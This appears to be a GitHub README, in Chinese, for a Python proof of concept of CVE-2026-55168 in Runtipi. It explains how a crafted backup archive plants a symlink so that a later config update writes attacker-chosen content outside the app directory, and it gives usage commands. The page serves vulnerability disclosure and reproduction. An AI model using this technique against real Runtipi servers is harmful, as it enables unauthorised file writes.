KovachVL/CVE-2026-55168
GitHub: KovachVL/CVE-2026-55168
针对 Runtipi 平台 CVE-2026-55168 认证后任意文件写入漏洞的 Python 端到端 PoC,通过备份恢复植入符号链接实现越权写入。
Stars: 0 | Forks: 0
# CVE-2026-55168
本仓库包含了一个针对 **Runtipi** 中 **CVE-2026-55168** 的简单 PoC。
该问题是一个经过认证的任意文件写入漏洞,可以通过备份恢复流程触发。一个构造过的备份压缩包可以在恢复的应用程序数据中植入一个符号链接,随后正常的配置更新会跟随该符号链接,将攻击者控制的内容写入预期目录之外的位置。
参考安全公告:
- https://github.com/runtipi/runtipi/security/advisories/GHSA-wcrf-g9p9-2wg7
受影响版本:
- `<= 4.10.0`
## PoC 的作用
该 PoC 会登录 Runtipi,在内存中创建一个恶意备份压缩包,对其进行上传,触发恢复,然后发送一个常规的 `user-config` 更新请求。
恢复的 payload 会植入以下符号链接:
```
user-config/app.env -> /data/state/proof.txt
```
之后,更新应用配置的正常请求会导致 Runtipi 将提供的内容写入:
```
/data/state/proof.txt
```
因此,重要的部分不仅仅是在恢复期间的符号链接持久化,更在于随后发生的合法写入会跟随已植入的符号链接。
## 文件
- `poc.py` — 端到端的 Python PoC
## 用法
```
python poc.py \
--base-url http://127.0.0.1:3001 \
--username YOUR_USERNAME \
--password YOUR_PASSWORD \
--app-urn demoapp3:_user \
--target-path /data/state/proof.txt \
--write-content PWNED_FROM_USERCFG_WRITE
```
如果你愿意,你也可以将生成的压缩包保存在本地:
```
python poc.py \
--base-url http://127.0.0.1:3001 \
--username YOUR_USERNAME \
--password YOUR_PASSWORD \
--output payload.tar.gz
```
## 预期结果
如果目标存在漏洞,脚本将成功执行完毕,并打印一段包含 `status: "ok"` 的小型 JSON 结果。
## 注意事项
此 PoC 仅出于研究及复现目的提供。
标签:Python, Web安全, 任意文件写入, 无后门, 漏洞验证代码, 网络信息收集, 蓝队分析, 路径穿越, 逆向工具